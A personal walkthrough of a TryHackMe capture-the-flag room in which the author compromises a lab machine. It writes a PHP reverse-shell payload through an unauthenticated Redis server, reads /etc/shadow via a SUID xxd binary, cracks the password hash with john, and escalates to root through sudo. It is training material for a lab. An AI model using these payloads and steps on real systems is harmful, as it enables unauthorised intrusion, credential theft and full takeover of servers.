https://tryhackme.com/room/res

💭 Thoughts after doing the room

I had fun with this one. I wasn’t familiar with redis, but quickly found a way to get information about the system. After finding out how to establish a reverse shell on the system the process was pretty straighforward.

Task 1: Resy Set Go

Scan the machine, how many ports are open?

root@ip-10-10-29-238:~# IP=10.10.130.24
root@ip-10-10-29-238:~# nmap -T4 $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2023-04-10 19:34 BST
Nmap scan report for ip-10-10-130-24.eu-west-1.compute.internal (10.10.130.24)
Host is up (0.0049s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:FC:16:CC:9C:7D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

After doing the (fast) scan for the default ports I noticed in the second question that we’re also looking for a database server. So I extended the portrange later.

root@ip-10-10-29-238:~# nmap -T4 -p1-10000 $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2023-04-10 19:35 BST
Nmap scan report for ip-10-10-130-24.eu-west-1.compute.internal (10.10.130.24)
Host is up (0.00047s latency).
Not shown: 9998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
6379/tcp open  redis
MAC Address: 02:FC:16:CC:9C:7D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 33.88 seconds

On the webserver is just a default apache page. Nothing special as far as I can tell.

What’s is the database management system installed on the server?

Scanning the other port

root@ip-10-10-29-238:~# nmap -p6379 -sV $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2023-04-10 19:40 BST
Nmap scan report for ip-10-10-130-24.eu-west-1.compute.internal (10.10.130.24)
Host is up (0.00012s latency).

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 6.0.7
MAC Address: 02:FC:16:CC:9C:7D (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.64 seconds

Ur shows the port, information and version of the server.

What port is the database management system running on?

I already got the answer during the first broad nmap scan

What’s is the version of management system installed on the server?

I already got the answer during the second -sV nmap scan

Compromise the machine and locate user.txt

First, I goole how to access redis normally, then check if the CLI tool is already installed on attack machine.

root@ip-10-10-29-238:~# locate redis-cli
root@ip-10-10-29-238:~#

Seems not to be the case, so I install it with apt install redis-tools

The man page is a little bit underwhelming so I have to google the right arguments

I also don’t like how the redis docs are structured. I then remember good old tldr and I quickly find that it’s redis-cli -h

root@ip-10-10-29-238:~# redis-cli -h $IP
10.10.130.24:6379> info
# Server
redis_version:6.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:5c906d046e45ec07
redis_mode:standalone
os:Linux 4.4.0-189-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:5.4.0
process_id:608
run_id:332ddb67403a342d09a73cc2a28b5ad788b61a43
tcp_port:6379
uptime_in_seconds:1466
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:3431415
executable:/home/vianka/redis-stable/src/redis-server
config_file:/home/vianka/redis-stable/redis.conf
io_threads_active:0

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0
tracking_clients:0
clients_in_timeout_table:0

# Memory
used_memory:588008
used_memory_human:574.23K
used_memory_rss:4919296
used_memory_rss_human:4.69M
used_memory_peak:588008
used_memory_peak_human:574.23K
used_memory_peak_perc:100.00%
used_memory_overhead:541522
used_memory_startup:524536
used_memory_dataset:46486
used_memory_dataset_perc:73.24%
allocator_allocated:846960
allocator_active:1155072
allocator_resident:3391488
total_system_memory:1038393344
total_system_memory_human:990.29M
used_memory_lua:37888
used_memory_lua_human:37.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.36
allocator_frag_bytes:308112
allocator_rss_ratio:2.94
allocator_rss_bytes:2236416
rss_overhead_ratio:1.45
rss_overhead_bytes:1527808
mem_fragmentation_ratio:9.02
mem_fragmentation_bytes:4373792
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:16986
mem_aof_buffer:0
mem_allocator:jemalloc-5.1.0
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1681151549
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
module_fork_in_progress:0
module_fork_last_cow_size:0

# Stats
total_connections_received:2
total_commands_processed:5
instantaneous_ops_per_sec:0
total_net_input_bytes:111
total_net_output_bytes:27084
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
expire_cycle_cpu_milliseconds:31
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
tracking_total_keys:0
tracking_total_items:0
tracking_total_prefixes:0
unexpected_error_replies:0
total_reads_processed:7
total_writes_processed:5
io_threaded_reads_processed:0
io_threaded_writes_processed:0

# Replication
role:master
connected_slaves:0
master_replid:d412da062be9aa3d18e609febd5f8e7c09868d0a
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.536000
used_cpu_user:1.232000
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000

# Modules

# Cluster
cluster_enabled:0

# Keyspace

It looks like we can login without any credentials. I see two interesting lines from the previous output

executable:/home/vianka/redis-stable/src/redis-server
config_file:/home/vianka/redis-stable/redis.conf

It seems like we have a username, but I still don’t know how to proceed further, because redis is new to me.

I check HackTricks and read parts of the page, then stumble upon “PHP Webshell” which could work, since we have Apache running already.

It reads like I need to know the directory for the webserver for this to work, so I’ll check the apache page on port 80 again:

It’s the default location.

I first start the nc listener, then proceed with the HackTricks part on the redis server.

For the first few tries I always got

(error) READONLY You can't write against a read only replica.

and couldn’t get it to work. I restarted the target machine via TryHackMe. (Target machine now has another IP address) And then it worked first try:

root@ip-10-10-29-238:~/Res# redis-cli -h 10.10.207.207
10.10.207.207:6379> config set dir /var/www/html
OK
10.10.207.207:6379> config set dbfilename b27p.php
OK
10.10.207.207:6379> set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.29.238/1337 0>&1'\"); ?>"
OK
10.10.207.207:6379> save
OK

It was important to escape " with \" in the set test command. It shows Invalid argument(s) if you don’t do it.

Then I opened the b27p.php via with Firefox

root@ip-10-10-29-238:~# nc -nvlp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from 10.10.207.207 35156 received!
whoami
www-data
ls
b27p.php
index.html
sudo -l 
pwd
/var/www/html
ls /home
vianka
cd /home/vianka 
ls
redis-stable
user.txt
cat user.txt
thm{🤐}

What is the local user account password?

I upload linpeas to the target machine and execute the script

I see this

CVEs Check
Potentially Vulnerable to CVE-2022-2588

and a few other CVEs but I scroll past this for now to see if there is something more obvious. And, yep, there it is the xxd binary with SUID bit set.

So we have xxd, a tool to create a hexdump. I check GTFOBins and find a way to use xxd to read (or write) files.

I’m looking for a user password, so the first thing I’m trying to look for is the contents of /etc/shadow and /etc/passwd.

(If the password wasn’t required we could straight up try to find the root.txt for some common locations.)

www-data@ubuntu:/var/www/html$ xxd /etc/shadow | xxd -r
root:!:18507:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18506:0:99999:7:::
uuidd:*:18506:0:99999:7:::
vianka:$6$2p.tSTds$q🤐0:18507:0:99999:7:::
www-data@ubuntu:/var/www/html$ xxd /etc/passwd | xxd -r
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
vianka:x:1000:1000:Res,,,:/home/vianka:/bin/bash

I see that vianka has a password hash. To crack the hash with john it’s better to unshadow the file. For this I’ll write the files locally to my attack machine and then use the command unshadow

root@ip-10-10-29-238:~/Res# vim passwd
root@ip-10-10-29-238:~/Res# vim shadow
root@ip-10-10-29-238:~/Res# unshadow passwd shadow 
root:!:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:*:104:108::/home/syslog:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
messagebus:*:106:110::/var/run/dbus:/bin/false
uuidd:*:107:111::/run/uuidd:/bin/false
vianka:$6$2p.tSTds$q🤐0:1000:1000:Res,,,:/home/vianka:/bin/bash

This can now be used to crack it with john

root@ip-10-10-29-238:~/Res# john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed 
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
🤐       (vianka)
1g 0:00:00:03 DONE (2023-04-10 21:07) 0.3205g/s 410.2p/s 410.2c/s 410.2C/s kucing..poohbear1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Escalate privileges and obtain root.txt

Next I’ll check which sudo rights vianka has. Jackpot. We can do everything.

www-data@ubuntu:/var/www/html$ su vianka 
Password: 
vianka@ubuntu:/var/www/html$ sudo -l 
[sudo] password for vianka: 
Matching Defaults entries for vianka on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vianka may run the following commands on ubuntu:
    (ALL : ALL) ALL
vianka@ubuntu:/var/www/html$ sudo -i
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt 
thm{🤐}
root@ubuntu:~#

root.txt is in the default location and this room is solved.